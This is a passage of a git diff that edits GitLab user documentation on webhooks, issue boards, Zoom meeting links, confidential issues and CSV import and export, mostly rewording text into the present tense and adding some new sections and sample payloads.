GitLab, and send it to another app, according to your needs. +You usually need to set up your own [webhook receiver](#example-webhook-receiver) +to receive information from GitLab and send it to another app, according to your requirements. We already have a [built-in receiver](slack.md) for sending [Slack](https://api.slack.com/incoming-webhooks) notifications _per project_. @@ -31,10 +31,9 @@ update a backup mirror, or even deploy to your production server. They are available **per project** for GitLab Community Edition, and **per project and per group** for **GitLab Enterprise Edition**. -Navigate to the webhooks page by going to your project's -**Settings ➔ Webhooks**. +Navigate to the webhooks page at your project's **Settings > Webhooks**. -NOTE: **Note:** +NOTE: On GitLab.com, the [maximum number of webhooks and their size](../../../user/gitlab_com/index.md#webhooks) per project, and per group, is limited. ## Version history @@ -55,7 +54,7 @@ Starting from GitLab 11.2: ``) have their target URL changed to an absolute URL. See [image URL rewriting](#image-url-rewriting) for more details. -## Use-cases +## Possible uses for webhooks - You can set up a webhook in GitLab to send a notification to [Slack](https://api.slack.com/incoming-webhooks) every time a job fails. @@ -65,27 +64,29 @@ Starting from GitLab 11.2: ## Webhook endpoint tips -If you are writing your own endpoint (web server) that will receive -GitLab webhooks keep in mind the following things: +If you are writing your own endpoint (web server) to receive +GitLab webhooks, keep in mind the following: -- Your endpoint should send its HTTP response as fast as possible. If - you wait too long, GitLab may decide the hook failed and retry it. +- Your endpoint should send its HTTP response as fast as possible. If the response takes longer than + the configured timeout, GitLab decides the hook failed and retries it. For information on + customizing this timeout, see + [Webhook fails or multiple webhook requests are triggered](#webhook-fails-or-multiple-webhook-requests-are-triggered). - Your endpoint should ALWAYS return a valid HTTP response. If you do - not do this then GitLab will think the hook failed and retry it. + not do this then GitLab thinks the hook failed and retries it. Most HTTP libraries take care of this for you automatically but if you are writing a low-level hook this is important to remember. - GitLab ignores the HTTP status code returned by your endpoint. ## Secret token -If you specify a secret token, it will be sent with the hook request in the +If you specify a secret token, it is sent with the hook request in the `X-Gitlab-Token` HTTP header. Your webhook endpoint can check that to verify that the request is legitimate. ## SSL verification By default, the SSL certificate of the webhook endpoint is verified based on -an internal list of Certificate Authorities, which means the certificate cannot +an internal list of Certificate Authorities. This means the certificate cannot be self-signed. You can turn this off in the webhook settings in your GitLab projects. @@ -108,15 +109,15 @@ Below are described the supported events. Triggered when you push to the repository except when pushing tags. -NOTE: **Note:** +NOTE: When more than 20 commits are pushed at once, the `commits` webhook -attribute will only contain the first 20 for performance reasons. Loading +attribute only contains the first 20 for performance reasons. Loading detailed commit data is expensive. Note that despite only 20 commits being -present in the `commits` attribute, the `total_commits_count` attribute will -contain the actual total. +present in the `commits` attribute, the `total_commits_count` attribute contains the actual total. Also, if a single push includes changes for more than three (by default, depending on -[`push_event_hooks_limit` setting](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls)) branches, this hook won't be executed. +[`push_event_hooks_limit` setting](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls)) +branches, this hook isn't executed. **Request header**: @@ -203,9 +204,10 @@ X-Gitlab-Event: Push Hook Triggered when you create (or delete) tags to the repository. -NOTE: **Note:** +NOTE: If a single push includes changes for more than three (by default, depending on -[`push_event_hooks_limit` setting](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls)) tags, this hook won't be executed. +[`push_event_hooks_limit` setting](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls)) +tags, this hook is not executed. **Request header**: @@ -407,14 +409,15 @@ X-Gitlab-Event: Issue Hook } ``` -> **Note**: `assignee` and `assignee_id` keys are deprecated and now show the first assignee only. +NOTE: +`assignee` and `assignee_id` keys are deprecated and now show the first assignee only. ### Comment events Triggered when a new comment is made on commits, merge requests, issues, and code snippets. -The note data will be stored in `object_attributes` (e.g. `note`, `noteable_type`). The -payload will also include information about the target of the comment. For example, -a comment on an issue will include the specific issue information under the `issue` key. +The note data is stored in `object_attributes` (for example, `note` or `noteable_type`). The +payload also includes information about the target of the comment. For example, +a comment on an issue includes the specific issue information under the `issue` key. Valid target types: - `commit` @@ -732,7 +735,8 @@ X-Gitlab-Event: Note Hook } ``` -> **Note**: `assignee_id` field is deprecated and now shows the first assignee only. +NOTE: +`assignee_id` field is deprecated and now shows the first assignee only. #### Comment on code snippet @@ -1358,6 +1362,38 @@ X-Gitlab-Event: Deployment Hook Note that `deployable_id` is the ID of the CI job. +### Member events + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/260347) in GitLab 13.7. + +Triggered when a user is added as a group member. + +**Request Header**: + +```plaintext +X-Gitlab-Event: Member Hook +``` + +**Request Body**: + +```json +{ + "created_at": "2020-12-11T04:57:22Z", + "updated_at": "2020-12-11T04:57:22Z", + "group_name": "webhook-test", + "group_path": "webhook-test", + "group_id": 100, + "user_username": "test_user", + "user_name": "Test User", + "user_email": "testuser@webhooktest.com", + "user_id": 64, + "group_access": "Guest", + "group_plan": null, + "expires_at": "2020-12-14T00:00:00Z", + "event_name": "user_add_to_group" +} +``` + ### Feature Flag events Triggered when a feature flag is turned on or off. @@ -1502,21 +1538,22 @@ its description:  ``` -It will appear in the webhook body as the below (assuming that GitLab is -installed at `gitlab.example.com`, and the project is at -`example-group/example-project`): +It appears in the webhook body as follows assuming that: + +- GitLab is installed at `gitlab.example.com`. +- The project is at `example-group/example-project`. ```markdown  ``` -This will not rewrite URLs that already are pointing to HTTP, HTTPS, or -protocol-relative URLs. It will also not rewrite image URLs using advanced +This doesn't rewrite URLs that already are pointing to HTTP, HTTPS, or +protocol-relative URLs. It also doesn't rewrite image URLs using advanced Markdown features, like link labels. ## Testing webhooks -You can trigger the webhook manually. Sample data from the project will be used. +You can trigger the webhook manually. Sample data from the project is used. > For example: for triggering `Push Events` your project should have at least one commit.  @@ -1528,29 +1565,36 @@ You can find records for last 2 days in "Recent Deliveries" section on the edit  -In this section you can see HTTP status code (green for 200-299 codes, red for the others, `internal error` for failed deliveries ), triggered event, a time when the event was called, elapsed time of the request. +In this section you can see: + +- HTTP status code (green for `200-299` codes, red for the others, `internal error` for failed deliveries). +- Triggered event. +- A time when the event was called. +- Elapsed time of the request. If you need more information about execution, you can click `View details` link. On this page, you can see data that GitLab sends (request headers and body) and data that it received (response headers and body). From this page, you can repeat delivery with the same data by clicking `Resend Request` button. -NOTE: **Note:** -If URL or secret token of the webhook were updated, data will be delivered to the new address. +NOTE: +If URL or secret token of the webhook were updated, data is delivered to the new address. -### Receiving duplicate or multiple webhook requests triggered by one event +### Webhook fails or multiple webhook requests are triggered -When GitLab sends a webhook it expects a response in 10 seconds (set default value). If it does not receive one, it'll retry the webhook. -If the endpoint doesn't send its HTTP response within those 10 seconds, GitLab may decide the hook failed and retry it. +When GitLab sends a webhook, it expects a response in 10 seconds by default. If it does not receive +one, it retries the webhook. If the endpoint doesn't send its HTTP response within those 10 seconds, +GitLab may decide the hook failed and retry it. -If you are receiving multiple requests, you can try increasing the default value to wait for the HTTP response after sending the webhook -by uncommenting or adding the following setting to your `/etc/gitlab/gitlab.rb`: +If your webhooks are failing or you are receiving multiple requests, you can try changing the +default value. You can do this by uncommenting or adding the following setting to your +`/etc/gitlab/gitlab.rb` file: ```ruby gitlab_rails['webhook_timeout'] = 10 ``` -### Troubleshooting: "Unable to get local issuer certificate" +### Unable to get local issuer certificate When SSL verification is enabled, this error indicates that GitLab isn't able to verify the SSL certificate of the webhook endpoint. Typically, this is because the root certificate isn't issued by a trusted certification authority as @@ -1561,7 +1605,7 @@ Missing intermediate certificates are a common point of verification failure. ## Example webhook receiver -If you want to see GitLab's webhooks in action for testing purposes you can use +If you want to see GitLab webhooks in action for testing purposes you can use a simple echo script running in a console session. For the following script to work you need to have Ruby installed. @@ -1581,7 +1625,7 @@ end server.start ``` -Pick an unused port (e.g. 8000) and start the script: `ruby print_http_body.rb +Pick an unused port (for example, `8000`) and start the script: `ruby print_http_body.rb 8000`. Then add your server as a webhook receiver in GitLab as `http://my.host:8000/`. @@ -1594,5 +1638,6 @@ example.com - - [14/May/2014:07:45:26 EDT] "POST / HTTP/1.1" 200 0 - -> / ``` -NOTE: **Note:** -You may need to [allow requests to the local network](../../../security/webhooks.md) for this receiver to be added. +NOTE: +You may need to [allow requests to the local network](../../../security/webhooks.md) for this +receiver to be added. diff --git a/doc/user/project/integrations/youtrack.md b/doc/user/project/integrations/youtrack.md index d243ffc7a37..f9b3c083a54 100644 --- a/doc/user/project/integrations/youtrack.md +++ b/doc/user/project/integrations/youtrack.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # YouTrack Service @@ -17,14 +17,14 @@ To enable YouTrack integration in a project: 1. Navigate to the project's **Settings > [Integrations](overview.md#accessing-integrations)** page. 1. Click the **YouTrack** service, ensure it's active, and enter the required details on the page as described in the table below. - | Field | Description | - |:----------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| - | **Project URL** | URL to the project in YouTrack which is being linked to this GitLab project. | - | **Issues URL** | URL to the issue in YouTrack project that is linked to this GitLab project. Note that the **Issues URL** requires `:id` in the URL. This ID is used by GitLab as a placeholder to replace the issue number. | + | Field | Description | + |:----------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| + | **Project URL** | URL to the project in YouTrack which is being linked to this GitLab project. | + | **Issues URL** | URL to the issue in YouTrack project that is linked to this GitLab project. Note that the **Issues URL** requires `:id` in the URL. This ID is used by GitLab as a placeholder to replace the issue number. | 1. Click the **Save changes** button. -Once you have configured and enabled YouTrack, you'll see the YouTrack link on the GitLab project pages that takes you to the appropriate YouTrack project. +Once you have configured and enabled YouTrack, you see the YouTrack link on the GitLab project pages that takes you to the appropriate YouTrack project. ## Disable the internal issue tracker diff --git a/doc/user/project/issue_board.md b/doc/user/project/issue_board.md index 116602fbbb9..e0f66013454 100644 --- a/doc/user/project/issue_board.md +++ b/doc/user/project/issue_board.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Issue Boards @@ -51,11 +51,54 @@ To learn more, visit [GitLab Enterprise features for issue boards](#gitlab-enter Watch a [video presentation](https://youtu.be/vjccjHI7aGI) of the Issue Board feature. +## Multiple issue boards + +> - [Introduced](https://about.gitlab.com/releases/2016/10/22/gitlab-8-13-released/) in GitLab 8.13. +> - Multiple issue boards per project [moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53811) to [GitLab Core](https://about.gitlab.com/pricing/) in GitLab 12.1. +> - Multiple issue boards per group are available in [GitLab Premium](https://about.gitlab.com/pricing/). + +Multiple issue boards allow for more than one issue board for a given project **(CORE)** or group **(PREMIUM)**. +This is great for large projects with more than one team or when a repository hosts the code of multiple products. + +Using the search box at the top of the menu, you can filter the listed boards. + +When you have ten or more boards available, a **Recent** section is also shown in the menu, with +shortcuts to your last four visited boards. + + + +When you're revisiting an issue board in a project or group with multiple boards, +GitLab automatically loads the last board you visited. + +### Create an issue board + +To create a new issue board: + +1. Click the dropdown with the current board name in the upper left corner of the Issue Boards page. +1. Click **Create new board**. +1. Enter the new board's name and select its scope: milestone, labels, assignee, or weight. + +### Delete an issue board + +To delete the currently active issue board: + +1. Click the dropdown with the current board name in the upper left corner of the Issue Boards page. +1. Click **Delete board**. +1. Click **Delete** to confirm. + ## Issue boards use cases You can tailor GitLab issue boards to your own preferred workflow. Here are some common use cases for issue boards. +For examples of using issue boards along with [epics](../group/epics/index.md) **(PREMIUM)**, +[issue health status](issues/index.md#health-status) **(ULTIMATE)**, and +[scoped labels](labels.md#scoped-labels) **(PREMIUM)** for various Agile frameworks, check: + +- The [How to use GitLab for Agile portfolio planning and project management](https://about.gitlab.com/blog/2020/11/11/gitlab-for-agile-portfolio-planning-project-management/) blog post (November 2020) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +[Cross-project Agile work management with GitLab](https://www.youtube.com/watch?v=5J0bonGoECs) (15 min, July 2020) + ### Use cases for a single issue board With the GitLab Workflow you can discuss proposals in issues, label @@ -113,7 +156,7 @@ When finished with something, they move the card to **Frontend**. The Frontend t Cards finished by the UX team automatically appear in the **Frontend** column when they are ready for them. -NOTE: **Note:** +NOTE: For a broader use case, please see the blog post [GitLab Workflow, an Overview](https://about.gitlab.com/blog/2016/10/25/gitlab-workflow-an-overview/#gitlab-workflow-use-case-scenario). For a real use case example, you can read why @@ -122,7 +165,10 @@ to improve their workflow with multiple boards. #### Quick assignments -Create lists for each of your team members and quickly drag issues onto each team member's list. +To quickly assign issues to your team members: + +1. Create [assignee lists](#assignee-lists) for each team member. +1. Drag an issue onto the team member's list. ## Issue board terminology @@ -185,41 +231,6 @@ and vice versa. GitLab issue boards are available on GitLab Core and GitLab.com Free tiers, but some advanced functionality is present in [higher tiers only](https://about.gitlab.com/pricing/). -### Multiple issue boards - -> - [Introduced](https://about.gitlab.com/releases/2016/10/22/gitlab-8-13-released/) in GitLab 8.13. -> - Multiple issue boards per project [moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53811) to [GitLab Core](https://about.gitlab.com/pricing/) in GitLab 12.1. -> - Multiple issue boards per group are available in [GitLab Premium](https://about.gitlab.com/pricing/). - -Multiple issue boards allow for more than one issue board for a given project or group. -This is great for large projects with more than one team or when a repository hosts the code of multiple products. - -Using the search box at the top of the menu, you can filter the listed boards. - -When you have ten or more boards available, a **Recent** section is also shown in the menu, with -shortcuts to your last four visited boards. - - - -When you're revisiting an issue board in a project or group with multiple boards, -GitLab automatically loads the last board you visited. - -#### Create an issue board - -To create a new issue board: - -1. Click the dropdown with the current board name in the upper left corner of the Issue Boards page. -1. Click **Create new board**. -1. Enter the new board's name and select its scope: milestone, labels, assignee, or weight. - -#### Delete an issue board - -To delete the currently active issue board: - -1. Click the dropdown with the current board name in the upper left corner of the Issue Boards page. -1. Click **Delete board**. -1. Click **Delete** to confirm. - ### Configurable issue boards **(STARTER)** > [Introduced](https://about.gitlab.com/releases/2017/11/22/gitlab-10-2-released/#issue-boards-configuration) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.2. @@ -315,6 +326,9 @@ With swimlanes you can visualize issues grouped by epic. Your issue board keeps all the other features, but with a different visual organization of issues. This feature is available both at the project and group level. +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For a video overview, see [Epics Swimlanes Walkthrough - 13.6](https://www.youtube.com/watch?v=nHC7-kz5P2g) (November 2020). + To group issues by epic in an issue board: 1. Select the **Group by** dropdown button. @@ -380,19 +394,6 @@ status. If you're not able to do some of the things above, make sure you have the right [permissions](#permissions). -### First time using an issue board - -> The automatic creation of the **To Do** and **Doing** lists was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202144) in GitLab 13.5. - -The first time you open an issue board, you are presented with the default lists -(**Open**, **To Do**, **Doing**, and **Closed**). - -If the **To Do** and **Doing** labels don't exist in the project or group, they are created, and -their lists appear as empty. If any of them already exists, the list is filled with the issues that -have that label. - - - ### Create a new list Create a new list by clicking the **Add list** dropdown button in the upper right corner of the issue board. @@ -419,7 +420,13 @@ To remove a list from an issue board: 1. Select **Remove list**. A confirmation dialog appears. 1. Select **OK**. -### Add issues to a list +### Add issues to a list **(CORE ONLY)** + +> - Feature flag [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47898) in GitLab 13.7. +> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-adding-issues-to-the-list). **(CORE ONLY)** You can add issues to a list in a project issue board by clicking the **Add issues** button in the top right corner of the issue board. This opens up a modal @@ -432,13 +439,30 @@ the list by filtering by the following: - Assignee - Author - Epic +- Iteration ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6) - Label - Milestone - My Reaction - Release - Weight - +#### Enable or disable adding issues to the list **(CORE ONLY)** + +Adding issues to the list is deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:add_issues_button) +``` + +To disable it: + +```ruby +Feature.disable(:add_issues_button) +``` ### Remove an issue from a list @@ -459,6 +483,7 @@ You can filter by the following: - Assignee - Author - Epic +- Iteration ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6) - Label - Milestone - My Reaction @@ -528,6 +553,22 @@ To select and move multiple cards:  +### First time using an issue board + +> - The automatic creation of the **To Do** and **Doing** lists [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202144) in GitLab 13.5. +> - [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/270583) in GitLab 13.7. In GitLab 13.7 and later, the **To Do** and **Doing** columns are not automatically created. + +WARNING: +This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/270583) in GitLab 13.7. +The **To Do** and **Doing** columns are no longer automatically created. + +In GitLab 13.5 and 13.6, the first time you open an issue board, you are presented with the default lists +(**Open**, **To Do**, **Doing**, and **Closed**). + +If the **To Do** and **Doing** labels don't exist in the project or group, they are created, and +their lists appear as empty. If any of them already exists, the list is filled with the issues that +have that label. + ## Tips A few things to remember: diff --git a/doc/user/project/issues/associate_zoom_meeting.md b/doc/user/project/issues/associate_zoom_meeting.md index a026854a947..d81fe19c5b9 100644 --- a/doc/user/project/issues/associate_zoom_meeting.md +++ b/doc/user/project/issues/associate_zoom_meeting.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Associate a Zoom meeting with an issue @@ -10,13 +10,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w In order to communicate synchronously for incidents management, GitLab allows to associate a Zoom meeting with an issue. -Once you start a Zoom call for a fire-fight, you need a way to -associate the conference call with an issue, so that your team -members can join swiftly without requesting a link. +After you start a Zoom call for a fire-fight, you need a way to +associate the conference call with an issue. This is so that your +team members can join swiftly without requesting a link. -## Adding a zoom meeting to an issue +## Adding a Zoom meeting to an issue -To associate a zoom meeting with an issue, you can use GitLab's +To associate a Zoom meeting with an issue, you can use GitLab [quick actions](../quick_actions.md#quick-actions-for-issues-merge-requests-and-epics). In an issue, leave a comment using the `/zoom` quick action followed by a valid Zoom link: @@ -26,23 +26,23 @@ In an issue, leave a comment using the `/zoom` quick action followed by a valid ``` If the Zoom meeting URL is valid and you have at least [Reporter permissions](../../permissions.md), -a system alert will notify you that the addition of the meeting URL was successful. -The issue's description will be automatically edited to include the Zoom link, and a button will -appear right under the issue's title. +a system alert notifies you of its successful addition. +The issue's description is automatically edited to include the Zoom link, and a button +appears right under the issue's title.  You are only allowed to attach a single Zoom meeting to an issue. If you attempt -to add a second Zoom meeting using the `/zoom` quick action, it won't work, you +to add a second Zoom meeting using the `/zoom` quick action, it doesn't work. You need to [remove it](#removing-an-existing-zoom-meeting-from-an-issue) first. ## Removing an existing Zoom meeting from an issue -Similarly to adding a zoom meeting, you can remove it with a quick action: +Similarly to adding a Zoom meeting, you can remove it with a quick action: ```shell /remove_zoom ``` If you have at least [Reporter permissions](../../permissions.md), -a system alert will notify you that the meeting URL was successfully removed. +a system alert notifies you that the meeting URL was successfully removed. diff --git a/doc/user/project/issues/automatic_issue_closing.md b/doc/user/project/issues/automatic_issue_closing.md index dab79327d6a..6fa2822aa9a 100644 --- a/doc/user/project/issues/automatic_issue_closing.md +++ b/doc/user/project/issues/automatic_issue_closing.md @@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#closing-issues-automatically' --- This document was moved to [another location](managing_issues.md#closing-issues-automatically). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/closing_issues.md b/doc/user/project/issues/closing_issues.md index 04f1c8e1a4a..45b905f2fb5 100644 --- a/doc/user/project/issues/closing_issues.md +++ b/doc/user/project/issues/closing_issues.md @@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#closing-issues' --- This document was moved to [another location](managing_issues.md#closing-issues). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/confidential_issues.md b/doc/user/project/issues/confidential_issues.md index 5bb8805159a..02cb0313a74 100644 --- a/doc/user/project/issues/confidential_issues.md +++ b/doc/user/project/issues/confidential_issues.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Confidential issues @@ -46,7 +46,7 @@ system note in the issue's comments. ## Indications of a confidential issue -NOTE: **Note:** +NOTE: If you don't have [enough permissions](#permissions-and-access-to-confidential-issues), you won't be able to see the confidential issues at all. @@ -100,7 +100,7 @@ confidential information prematurely. When the confidential commits are ready to be made public, this can be done by opening a merge request from the private fork to the public upstream project. -TIP: **Best practice:** +NOTE: If you create a long-lived private fork in the same group or in a sub-group of the original upstream, all the users with Developer membership to the public project will also have the same permissions in the private project. This way, diff --git a/doc/user/project/issues/create_new_issue.md b/doc/user/project/issues/create_new_issue.md index 8eec29716c1..53648b53ea3 100644 --- a/doc/user/project/issues/create_new_issue.md +++ b/doc/user/project/issues/create_new_issue.md @@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#create-a-new-issue' --- This document was moved to [another location](managing_issues.md#create-a-new-issue). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/crosslinking_issues.md b/doc/user/project/issues/crosslinking_issues.md index 2a75f8ad837..b5d3b71e679 100644 --- a/doc/user/project/issues/crosslinking_issues.md +++ b/doc/user/project/issues/crosslinking_issues.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Crosslinking Issues @@ -31,7 +31,7 @@ git commit -m "this is my commit message. Related to https://gitlab.com/<usernam Of course, you can replace `gitlab.com` with the URL of your own GitLab instance. -NOTE: **Note:** +NOTE: Linking your first commit to your issue is going to be relevant for tracking your process with [GitLab Value Stream Analytics](https://about.gitlab.com/stages-devops-lifecycle/value-stream-analytics/). It will measure the time taken for planning the implementation of that issue, diff --git a/doc/user/project/issues/csv_export.md b/doc/user/project/issues/csv_export.md index af9a6401474..023a8ee57bc 100644 --- a/doc/user/project/issues/csv_export.md +++ b/doc/user/project/issues/csv_export.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Export Issues to CSV @@ -35,11 +35,11 @@ Among numerous use cases for exporting issues for CSV, we can name a few: ## Choosing which issues to include -After selecting a project, from the issues page you can narrow down which issues to export using the search bar, along with the All/Open/Closed tabs. All issues returned will be exported, including those not shown on the first page. +After selecting a project, from the issues page you can narrow down which issues to export using the search bar, along with the All/Open/Closed tabs. All issues returned are exported, including those not shown on the first page.  -You will be asked to confirm the number of issues and email address for the export, after which the email will begin being prepared. +GitLab asks you to confirm the number of issues and email address for the export, after which the email is prepared.  @@ -53,7 +53,7 @@ Exported issues are always sorted by `Issue ID`. > > **Weight** and **Locked** columns were [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5300) in GitLab Starter 10.8. -Data will be encoded with a comma as the column delimiter, with `"` used to quote fields if needed, and newlines to separate rows. The first row will be the headers, which are listed in the following table along with a description of the values: +Data wis encoded with a comma as the column delimiter, with `"` used to quote fields if needed, and newlines to separate rows. The first row contains the headers, which are listed in the following table along with a description of the values: | Column | Description | |---------|-------------| @@ -82,4 +82,4 @@ Data will be encoded with a comma as the column delimiter, with `"` used to quot ## Limitations - Export Issues to CSV is not available at the Group's Issues List. -- As the issues will be sent as an email attachment, there is a limit on how much data can be exported. Currently this limit is 15MB to ensure successful delivery across a range of email providers. If this limit is reached we suggest narrowing the search before export, perhaps by exporting open and closed issues separately. +- As the issues are sent as an email attachment, there is a limit on how much data can be exported. Currently this limit is 15MB to ensure successful delivery across a range of email providers. If this limit is reached we suggest narrowing the search before export, perhaps by exporting open and closed issues separately. diff --git a/doc/user/project/issues/csv_import.md b/doc/user/project/issues/csv_import.md index 2cac88b1b29..0d10f028cbf 100644 --- a/doc/user/project/issues/csv_import.md +++ b/doc/user/project/issues/csv_import.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Importing issues from CSV @@ -11,9 +11,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w Issues can be imported to a project by uploading a CSV file with the columns `title` and `description`. -The user uploading the CSV file will be set as the author of the imported issues. +The user uploading the CSV file is set as the author of the imported issues. -NOTE: **Note:** +NOTE: A permission level of [Developer](../../permissions.md), or higher, is required to import issues. diff --git a/doc/user/project/issues/deleting_issues.md b/doc/user/project/issues/deleting_issues.md index e50259e0dcf..d8e1485a2dc 100644 --- a/doc/user/project/issues/deleting_issues.md +++ b/doc/user/project/issues/deleting_issues.md @@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#deleting-issues' --- This document was moved to [another location](managing_issues.md#deleting-issues). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/design_management.md b/doc/user/project/issues/design_management.md index c19c9ca0615..3739070be01 100644 --- a/doc/user/project/issues/design_management.md +++ b/doc/user/project/issues/design_management.md @@ -1,7 +1,7 @@ --- stage: Create group: Knowledge -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" --- # Design Management **(CORE)** @@ -37,7 +37,7 @@ to be enabled: Design Management also requires that projects are using [hashed storage](../../../administration/raketasks/storage.md#migrate-to-hashed-storage). Since - GitLab 10.0, newly created projects use hashed storage by default. A GitLab admin can verify the storage type of a + GitLab 10.0, newly created projects use hashed storage by default. A GitLab administrator can verify the storage type of a project by navigating to **Admin Area > Projects** and then selecting the project in question. A project can be identified as hashed-stored if its *Gitaly relative path* contains `@hashed`. @@ -95,7 +95,7 @@ you can drag and drop designs onto the dedicated drop zone to upload them. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202634) in GitLab 12.10, you can also copy images from your file system and -paste them directly on GitLab's Design page as a new design. +paste them directly on the GitLab Design page as a new design. On macOS you can also take a screenshot and immediately copy it to the clipboard by simultaneously clicking <kbd>Control</kbd> + <kbd>Command</kbd> + <kbd>Shift</kbd> + <kbd>3</kbd>, and then paste it as a design. @@ -170,7 +170,7 @@ Once selected, click the **Delete selected** button to confirm the deletion:  -NOTE: **Note:** +NOTE: Only the latest version of the designs can be deleted. Deleted designs are not permanently lost; they can be viewed by browsing previous versions. diff --git a/doc/user/project/issues/due_dates.md b/doc/user/project/issues/due_dates.md index b3ebefadef0..63cd784333a 100644 --- a/doc/user/project/issues/due_dates.md +++ b/doc/user/project/issues/due_dates.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Due dates diff --git a/doc/user/project/issues/index.md b/doc/user/project/issues/index.md index 716377f2e45..05e7eb3021a 100644 --- a/doc/user/project/issues/index.md +++ b/doc/user/project/issues/index.md @@ -1,10 +1,10 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Issues +# Issues **(CORE)** Issues are the fundamental medium for collaborating on ideas and planning work in GitLab. @@ -35,7 +35,7 @@ you can also view all the issues collectively at the group level. See also [Always start a discussion with an issue](https://about.gitlab.com/blog/2016/03/03/start-with-an-issue/). <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -To learn how GitLab's Strategic Marketing department uses GitLab issues with [labels](../labels.md) and +To learn how our Strategic Marketing department uses GitLab issues with 